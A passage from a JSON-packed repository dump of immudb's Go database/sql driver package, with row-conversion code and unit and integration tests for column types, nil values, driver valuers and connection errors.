r.columns[index]\n\n\tswitch col.Type {\n\tcase sql.IntegerType:\n\t\treturn reflect.TypeOf(int64(0))\n\tcase sql.VarcharType:\n\t\treturn reflect.TypeOf(\"\")\n\tcase sql.BooleanType:\n\t\treturn reflect.TypeOf(true)\n\tcase sql.BLOBType:\n\t\treturn reflect.TypeOf([]byte{})\n\tcase sql.TimestampType:\n\t\treturn reflect.TypeOf(time.Time{})\n\tdefault:\n\t\treturn reflect.TypeOf(\"\")\n\t}\n}\n\nfunc (r *Rows) Close() error {\n\t// no reader here\n\treturn nil\n}\n\nfunc (r *Rows) Next(dest []driver.Value) error {\n\tif !r.reader.Next() {\n\t\treturn io.EOF\n\t}\n\n\tvar row client.Row\n\n\trow, err := r.reader.Read()\n\tif errors.Is(err, sql.ErrNoMoreRows) {\n\t\treturn io.EOF\n\t}\n\n\tif err == nil {\n\t\tfor idx, val := range row {\n\t\t\tdest[idx] = val\n\t\t}\n\t}\n\treturn err\n}\n\nfunc namedValuesToSqlMap(argsV []driver.NamedValue) (map[string]interface{}, error) {\n\targs := make([]interface{}, 0, len(argsV))\n\n\tfor _, v := range argsV {\n\t\tif v.Value != nil {\n\t\t\targs = append(args, v.Value.(interface{}))\n\t\t} else {\n\t\t\targs = append(args, nil)\n\t\t}\n\t}\n\n\targs, err := convertDriverValuers(args)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvals := make(map[string]interface{})\n\n\tfor id, nv := range args {\n\t\tkey := \"param\" + strconv.Itoa(id+1)\n\t\tvals[key] = nv\n\t}\n\n\tvals = convertToPlainVals(vals)\n\n\treturn vals, nil\n}\n\nfunc convertToPlainVals(vals map[string]interface{}) map[string]interface{} {\n\tfor key, nv := range vals {\n\t\tif reflect.ValueOf(nv).Kind() == reflect.Ptr && reflect.ValueOf(nv).IsNil() {\n\t\t\tnv = nil\n\t\t}\n\t\tswitch t := nv.(type) {\n\t\tcase *uint:\n\t\t\tvals[key] = *t\n\t\tcase *uint8:\n\t\t\tvals[key] = *t\n\t\tcase *uint16:\n\t\t\tvals[key] = *t\n\t\tcase *uint32:\n\t\t\tvals[key] = *t\n\t\tcase *uint64:\n\t\t\tvals[key] = *t\n\t\tcase *int:\n\t\t\tvals[key] = *t\n\t\tcase *int8:\n\t\t\tvals[key] = *t\n\t\tcase *int16:\n\t\t\tvals[key] = *t\n\t\tcase *int32:\n\t\t\tvals[key] = *t\n\t\tcase *int64:\n\t\t\tvals[key] = *t\n\t\tcase *string:\n\t\t\tvals[key] = *t\n\t\tcase *bool:\n\t\t\tvals[key] = *t\n\t\tcase *float32:\n\t\t\tvals[key] = *t\n\t\tcase *float64:\n\t\t\tvals[key] = *t\n\t\tcase *complex64:\n\t\t\tvals[key] = *t\n\t\tcase *complex128:\n\t\t\tvals[key] = *t\n\t\tcase *time.Time:\n\t\t\tvals[key] = *t\n\t\tdefault:\n\t\t\tvals[key] = nv\n\t\t}\n\t}\n\treturn vals\n}\n\nfunc convertDriverValuers(args []interface{}) ([]interface{}, error) {\n\tfor i, arg := range args {\n\t\tswitch arg := arg.(type) {\n\t\tcase driver.Valuer:\n\t\t\tv, err := callValuerValue(arg)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\targs[i] = v\n\t\t}\n\t}\n\treturn args, nil\n}\n\nvar valuerReflectType = reflect.TypeOf((*driver.Valuer)(nil)).Elem()\n\n// callValuerValue returns vr.Value()\n// This function is mirrored in the database/sql/driver package.\nfunc callValuerValue(vr driver.Valuer) (v driver.Value, err error) {\n\tif rv := reflect.ValueOf(vr); rv.Kind() == reflect.Ptr &&\n\t\trv.IsNil() &&\n\t\trv.Type().Elem().Implements(valuerReflectType) {\n\t\treturn nil, nil\n\t}\n\treturn vr.Value()\n}\n\n// RowsAffected implements Result for an INSERT or UPDATE operation\n// which mutates a number of rows.\ntype RowsAffected struct {\n\ter *schema.SQLExecResult\n}\n\nfunc (rows RowsAffected) LastInsertId() (int64, error) {\n\t// if immudb will returns a no monotonic primary key sequence this will not work anymore\n\tif rows.er != nil && len(rows.er.Txs) >= 1 {\n\t\tfor _, v := range rows.er.FirstInsertedPks() {\n\t\t\treturn v.GetN(), nil\n\t\t}\n\t}\n\treturn 0, errors.New(\"unable to retrieve LastInsertId\")\n}\n\nfunc (rows RowsAffected) RowsAffected() (int64, error) {\n\tif len(rows.er.Txs) == 0 {\n\t\treturn 0, nil\n\t}\n\n\t// TODO: consider the case when multiple txs are committed\n\treturn int64(rows.er.Txs[0].UpdatedRows), nil\n}\n"
  },
  {
    "path": "pkg/stdlib/rows_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRows(t *testing.T) {\n\trows := []client.Row{nil}\n\tcols := []client.Column{{Name: \"(defaultdb.emptytable.c1)\"}}\n\n\treader := newMockRowReader(cols, rows)\n\n\tr := newRows(reader)\n\n\tast := r.Columns()\n\trequire.Equal(t, \"c1\", ast[0])\n\n\tst := r.ColumnTypeDatabaseTypeName(1)\n\trequire.Equal(t, \"\", st)\n\n\tnum, b := r.ColumnTypeLength(1)\n\trequire.Equal(t, int64(0), num)\n\trequire.False(t, b)\n\n\t_, _, _ = r.ColumnTypePrecisionScale(1)\n\tty := r.ColumnTypeScanType(1)\n\trequire.Nil(t, ty)\n}\n\nfunc TestRows_ColumnTypeDatabaseTypeName(t *testing.T) {\n\tvar tests = []struct {\n\t\treader   client.SQLQueryRowReader\n\t\tname     string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"INTEGER\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.IntegerType}}, []client.Row{{1}}),\n\t\t\texpected: \"INTEGER\",\n\t\t},\n\t\t{\n\t\t\tname:     \"VARCHAR\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.VarcharType}}, []client.Row{{\"string\"}}),\n\t\t\texpected: \"VARCHAR\",\n\t\t},\n\t\t{\n\t\t\tname:     \"BLOB\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BLOBType}}, []client.Row{{[]byte(\"bytes\")}}),\n\t\t\texpected: \"BLOB\",\n\t\t},\n\t\t{\n\t\t\tname:     \"BOOLEAN\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BooleanType}}, []client.Row{{true}}),\n\t\t\texpected: \"BOOLEAN\",\n\t\t},\n\t\t{\n\t\t\tname:     \"TIMESTAMP\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}),\n\t\t\texpected: \"TIMESTAMP\",\n\t\t},\n\t\t{\n\t\t\tname:     \"default\",\n\t\t\treader:   newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.AnyType}}, []client.Row{{nil}}),\n\t\t\texpected: \"ANY\",\n\t\t},\n\t\t{\n\t\t\tname: \"no rows\",\n\t\t\treader: &mockRowReader{\n\t\t\t\trows: nil,\n\t\t\t},\n\t\t\texpected: \"\",\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"rows %d: %s\", i, tt.name), func(t *testing.T) {\n\t\t\trows := newRows(tt.reader)\n\n\t\t\tvt := rows.ColumnTypeDatabaseTypeName(0)\n\t\t\trequire.Equal(t, tt.expected, vt)\n\t\t})\n\t}\n}\n\nfunc TestRows_ColumnTypeLength(t *testing.T) {\n\tvar tests = []struct {\n\t\treader         client.SQLQueryRowReader\n\t\tname           string\n\t\tlenght         int64\n\t\tvariableLenght bool\n\t}{\n\t\t{\n\t\t\tname:           \"INTEGER\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.IntegerType}}, []client.Row{{1}}),\n\t\t\tlenght:         8,\n\t\t\tvariableLenght: false,\n\t\t},\n\t\t{\n\t\t\tname:           \"VARCHAR\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.TimestampType}}, []client.Row{{\"string\"}}),\n\t\t\tlenght:         math.MaxInt64,\n\t\t\tvariableLenght: true,\n\t\t},\n\t\t{\n\t\t\tname:           \"BLOB\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BLOBType}}, []client.Row{{[]byte(\"bytes\")}}),\n\t\t\tlenght:         math.MaxInt64,\n\t\t\tvariableLenght: true,\n\t\t},\n\t\t{\n\t\t\tname:           \"BOOLEAN\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BooleanType}}, []client.Row{{true}}),\n\t\t\tlenght:         1,\n\t\t\tvariableLenght: false,\n\t\t},\n\t\t{\n\t\t\tname:           \"TIMESTAMP\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}),\n\t\t\tlenght:         math.MaxInt64,\n\t\t\tvariableLenght: true,\n\t\t},\n\t\t{\n\t\t\tname:           \"default\",\n\t\t\treader:         newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.AnyType}}, []client.Row{{nil}}),\n\t\t\tlenght:         math.MaxInt64,\n\t\t\tvariableLenght: true,\n\t\t},\n\t\t{\n\t\t\tname: \"no rows\",\n\t\t\treader: &mockRowReader{\n\t\t\t\trows: nil,\n\t\t\t},\n\t\t\tlenght:         0,\n\t\t\tvariableLenght: false,\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"rows %d: %s\", i, tt.name), func(t *testing.T) {\n\t\t\trows := newRows(tt.reader)\n\n\t\t\tvl, ok := rows.ColumnTypeLength(0)\n\t\t\trequire.Equal(t, tt.lenght, vl)\n\t\t\trequire.Equal(t, tt.variableLenght, ok)\n\t\t})\n\t}\n}\n\nfunc TestRows_ColumnTypeScanType(t *testing.T) {\n\tvar tests = []struct {\n\t\treader       client.SQLQueryRowReader\n\t\tname         string\n\t\texpectedType reflect.Type\n\t}{\n\t\t{\n\t\t\tname:         \"INTEGER\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.IntegerType}}, []client.Row{{1}}),\n\t\t\texpectedType: reflect.TypeOf(int64(0)),\n\t\t},\n\t\t{\n\t\t\tname:         \"VARCHAR\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.VarcharType}}, []client.Row{{\"string\"}}),\n\t\t\texpectedType: reflect.TypeOf(\"\"),\n\t\t},\n\t\t{\n\t\t\tname:         \"BLOB\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BLOBType}}, []client.Row{{[]byte(\"bytes\")}}),\n\t\t\texpectedType: reflect.TypeOf([]byte{}),\n\t\t},\n\t\t{\n\t\t\tname:         \"BOOLEAN\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.BooleanType}}, []client.Row{{true}}),\n\t\t\texpectedType: reflect.TypeOf(true),\n\t\t},\n\t\t{\n\t\t\tname:         \"TIMESTAMP\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}),\n\t\t\texpectedType: reflect.TypeOf(time.Now()),\n\t\t},\n\t\t{\n\t\t\tname:         \"default\",\n\t\t\treader:       newMockRowReader([]client.Column{{Name: \"(defaultdb.emptytable.c1)\", Type: sql.AnyType}}, []client.Row{nil}),\n\t\t\texpectedType: reflect.TypeOf(\"\"),\n\t\t},\n\t\t{\n\t\t\tname: \"no rows\",\n\t\t\treader: &mockRowReader{\n\t\t\t\trows: nil,\n\t\t\t},\n\t\t\texpectedType: nil,\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"rows %d: %s\", i, tt.name), func(t *testing.T) {\n\t\t\trows := newRows(tt.reader)\n\n\t\t\tvt := rows.ColumnTypeScanType(0)\n\t\t\trequire.Equal(t, tt.expectedType, vt)\n\t\t})\n\t}\n}\n\nfunc TestRowsAffected_LastInsertId(t *testing.T) {\n\tra := RowsAffected{\n\t\ter: &schema.SQLExecResult{\n\t\t\tTxs: []*schema.CommittedSQLTx{\n\t\t\t\t{\n\t\t\t\t\tUpdatedRows: 1,\n\t\t\t\t\tLastInsertedPKs: map[string]*schema.SQLValue{\n\t\t\t\t\t\t\"table1\": {Value: &schema.SQLValue_N{N: 1}},\n\t\t\t\t\t},\n\t\t\t\t\tFirstInsertedPKs: map[string]*schema.SQLValue{\n\t\t\t\t\t\t\"table1\": {Value: &schema.SQLValue_N{N: 1}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tlID, err := ra.LastInsertId()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), lID)\n}\n\nfunc TestRowsAffected_LastInsertIdErr(t *testing.T) {\n\tra := RowsAffected{\n\t\ter: &schema.SQLExecResult{},\n\t}\n\t_, err := ra.LastInsertId()\n\trequire.ErrorContains(t, err, \"unable to retrieve LastInsertId\")\n}\n\nfunc TestRowsAffected_RowsAffected(t *testing.T) {\n\tra := RowsAffected{\n\t\ter: &schema.SQLExecResult{},\n\t}\n\trac, err := ra.RowsAffected()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), rac)\n}\n\nfunc TestRows_convertToPlainVals(t *testing.T) {\n\tvar tests = []struct {\n\t\tvals map[string]interface{}\n\t}{\n\t\t{vals: map[string]interface{}{\"v\": (*string)(nil)}},\n\t\t{vals: map[string]interface{}{\"v\": new(int)}},\n\t\t{vals: map[string]interface{}{\"v\": new(int8)}},\n\t\t{vals: map[string]interface{}{\"v\": new(int16)}},\n\t\t{vals: map[string]interface{}{\"v\": new(int32)}},\n\t\t{vals: map[string]interface{}{\"v\": new(int64)}},\n\t\t{vals: map[string]interface{}{\"v\": new(uint)}},\n\t\t{vals: map[string]interface{}{\"v\": new(uint8)}},\n\t\t{vals: map[string]interface{}{\"v\": new(uint16)}},\n\t\t{vals: map[string]interface{}{\"v\": new(uint32)}},\n\t\t{vals: map[string]interface{}{\"v\": new(uint64)}},\n\t\t{vals: map[string]interface{}{\"v\": new(string)}},\n\t\t{vals: map[string]interface{}{\"v\": new(bool)}},\n\t\t{vals: map[string]interface{}{\"v\": new(float32)}},\n\t\t{vals: map[string]interface{}{\"v\": new(float64)}},\n\t\t{vals: map[string]interface{}{\"v\": new(complex64)}},\n\t\t{vals: map[string]interface{}{\"v\": new(complex128)}},\n\t\t{vals: map[string]interface{}{\"v\": &time.Time{}}},\n\t\t{vals: map[string]interface{}{\"v\": \"default\"}},\n\t}\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"rows %d: %s\", i, reflect.ValueOf(tt.vals[\"v\"]).Type().String()), func(t *testing.T) {\n\t\t\tvals := convertToPlainVals(tt.vals)\n\t\t\trequire.False(t, reflect.ValueOf(vals[\"v\"]).Kind() == reflect.Ptr)\n\t\t})\n\t}\n}\n\nfunc TestEmptyRowsForColumns(t *testing.T) {\n\tr := Rows{\n\t\tcolumns: []client.Column{\n\t\t\t{\n\t\t\t\tName: \"(defaultdb.emptytable.id)\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName: \"(defaultdb.emptytable.name)\",\n\t\t\t},\n\t\t},\n\t}\n\n\tast := r.Columns()\n\trequire.Equal(t, \"id\", ast[0])\n\trequire.Equal(t, \"name\", ast[1])\n}\n\ntype mockRowReader struct {\n\tclient.SQLQueryRowReader\n\n\tcolumns []client.Column\n\trows    []client.Row\n\tnextRow int\n}\n\nfunc newMockRowReader(cols []client.Column, rows []client.Row) *mockRowReader {\n\treturn &mockRowReader{\n\t\tcolumns: cols,\n\t\trows:    rows,\n\t}\n}\n\nfunc (r *mockRowReader) Next() bool {\n\tif r.nextRow+1 < len(r.rows) {\n\t\tr.nextRow++\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (r *mockRowReader) Columns() []client.Column {\n\treturn r.columns\n}\n\nfunc (r *mockRowReader) Read() (client.Row, error) {\n\tif r.nextRow >= len(r.rows) {\n\t\treturn nil, sql.ErrNoMoreRows\n\t}\n\n\trow := r.rows[r.nextRow]\n\treturn row, nil\n}\n"
  },
  {
    "path": "pkg/stdlib/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc getRandomTableName() string {\n\trand.Seed(time.Now().UnixNano())\n\tr := rand.Intn(100000)\n\treturn fmt.Sprintf(\"table%d\", r)\n}\n\nfunc testServerClient(t *testing.T) (*servertest.BufconnServer, *sql.DB) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\topts := client.DefaultOptions()\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\topts.\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\tWithDir(t.TempDir())\n\n\tdb := OpenDB(opts)\n\tt.Cleanup(func() { db.Close() })\n\treturn bs, db\n}\n\nfunc TestOpenDB(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable := getRandomTableName()\n\t_, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s(id INTEGER, name VARCHAR, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, name) VALUES (1, 'immu1')\", table))\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, name) VALUES (2, 'immu2')\", table))\n\trequire.NoError(t, err)\n\n\trows, err := db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT * FROM %s \", table))\n\trequire.NoError(t, err)\n\n\tvar id uint64\n\tvar name string\n\tdefer rows.Close()\n\n\trows.Next()\n\terr = rows.Scan(&id, &name)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), id)\n\trequire.Equal(t, \"immu1\", name)\n\n\trows.Next()\n\terr = rows.Scan(&id, &name)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), id)\n\trequire.Equal(t, \"immu2\", name)\n\n\trowsw, err := db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT * FROM %s WHERE id = 2\", table))\n\trequire.NoError(t, err)\n\n\trowsw.Next()\n\n\terr = rowsw.Scan(&id, &name)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), id)\n\trequire.Equal(t, \"immu2\", name)\n\n\trequire.False(t, rowsw.Next())\n}\n\nfunc TestQueryCapabilities(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable := getRandomTableName()\n\tresult, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, publicID UUID, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\tbinaryContent := []byte(\"my blob content1\")\n\tuuidPublicID := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)\", table), 1, 1000, 6000, \"title 1\", binaryContent, true, uuidPublicID)\n\trequire.NoError(t, err)\n\n\tbinaryContent2 := []byte(\"my blob content2\")\n\tuuidPublicID2 := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)\", table), 2, 2000, 12000, \"title 2\", binaryContent2, true, uuidPublicID2)\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\tvar publicID uuid.UUID\n\n\trows, err := db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT id, amount, title, content, isPresent, publicID FROM %s where isPresent=? and id=? and amount=? and total=? and title=?\", table), true, 1, 1000, 6000, \"title 1\")\n\trequire.NoError(t, err)\n\tdefer rows.Close()\n\n\trows.Next()\n\n\terr = rows.Scan(&id, &amount, &title, &content, &isPresent, &publicID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.Equal(t, int64(1000), amount)\n\trequire.Equal(t, \"title 1\", title)\n\trequire.Equal(t, binaryContent, content)\n\trequire.Equal(t, true, isPresent)\n\trequire.Equal(t, uuidPublicID, publicID)\n}\n\nfunc TestQueryCapabilitiesWithPointers(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable := getRandomTableName()\n\n\t_, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER AUTO_INCREMENT,name VARCHAR,manager_id INTEGER,PRIMARY KEY ID)\", table))\n\trequire.NoError(t, err)\n\n\ttable1 := getRandomTableName()\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER AUTO_INCREMENT,user_id INTEGER,name VARCHAR,PRIMARY KEY ID)\", table1))\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (name,manager_id) VALUES (?,?)\", table), \"name\", 1)\n\trequire.NoError(t, err)\n\n\tid := uint(1)\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (user_id,name) VALUES (?,?),(?,?) \", table1), &id, \"name1\", &id, \"name2\")\n\trequire.NoError(t, err)\n}\n\nfunc TestNilValues(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable := getRandomTableName()\n\n\tresult, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content) VALUES (?, ?, ?, ?, ?)\", table), 1, nil, nil, nil, nil)\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount sql.NullInt64\n\tvar title sql.NullString\n\tvar content []byte\n\n\trows, err := db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT id, amount, title, content FROM %s where id=? and amount=? and total=? and title=?\", table), 1, nil, nil, nil)\n\trequire.NoError(t, err)\n\tdefer rows.Close()\n\n\trows.Next()\n\n\terr = rows.Scan(&id, &amount, &title, &content)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.False(t, title.Valid)\n\trequire.False(t, amount.Valid)\n\trequire.Nil(t, content)\n}\n\ntype valuer struct {\n\tval interface{}\n}\n\nfunc (v *valuer) Value() (driver.Value, error) {\n\treturn v.val.(driver.Value), nil\n}\n\nfunc TestDriverValuer(t *testing.T) {\n\t_, db := testServerClient(t)\n\n\ttable := getRandomTableName()\n\n\tresult, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\tbinaryContent := []byte(\"my blob content1\")\n\n\targsV := []interface{}{&valuer{1}, &valuer{100}, &valuer{200}, &valuer{\"title 1\"}, &valuer{binaryContent}, &valuer{true}}\n\t_, err = db.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)\", table), argsV...)\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\n\trows, err := db.QueryContext(context.Background(), fmt.Sprintf(\"SELECT id, amount, title, content, isPresent FROM %s \", table), argsV...)\n\trequire.NoError(t, err)\n\tdefer rows.Close()\n\n\trows.Next()\n\n\terr = rows.Scan(&id, &amount, &title, &content, &isPresent)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.Equal(t, int64(100), amount)\n\trequire.Equal(t, \"title 1\", title)\n\trequire.Equal(t, binaryContent, content)\n\trequire.Equal(t, true, isPresent)\n}\n\nfunc TestImmuConnector_ConnectErr(t *testing.T) {\n\topts := client.DefaultOptions().WithDir(t.TempDir()).WithAddress(\"some.host.that.does.not.exist\")\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\n\tdefer cancel()\n\n\t_, err := db.ExecContext(ctx, \"this will not be executed\")\n\trequire.Error(t, err)\n\trequire.Regexp(t, \"context deadline exceeded|Error while dialing\", err.Error())\n}\n\nfunc TestImmuConnector_ConnectLoginErr(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := client.DefaultOptions()\n\topts.Username = \"wrong-username\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\topts.\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\tWithDir(t.TempDir())\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\n\t_, err := db.ExecContext(context.Background(), \"this will not be executed\")\n\trequire.ErrorContains(t, err, \"invalid user name or password\")\n}\n\nfunc TestImmuConnector_ConnectUseDatabaseErr(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := client.DefaultOptions()\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"wrong-db\"\n\n\topts.\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\tWithDir(t.TempDir())\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\n\t_, err := db.ExecContext(context.Background(), \"this will not be executed\")\n\trequire.ErrorContains(t, err, \"database does not exist\")\n}\n\nfunc TestImmuConnector_Driver(t *testing.T) {\n\tc := immuConnector{\n\t\tdriver: immuDriver,\n\t}\n\td := c.Driver()\n\trequire.IsType(t, &Driver{}, d)\n}\n"
  },
  {
    "path": "pkg/stdlib/tx.go",
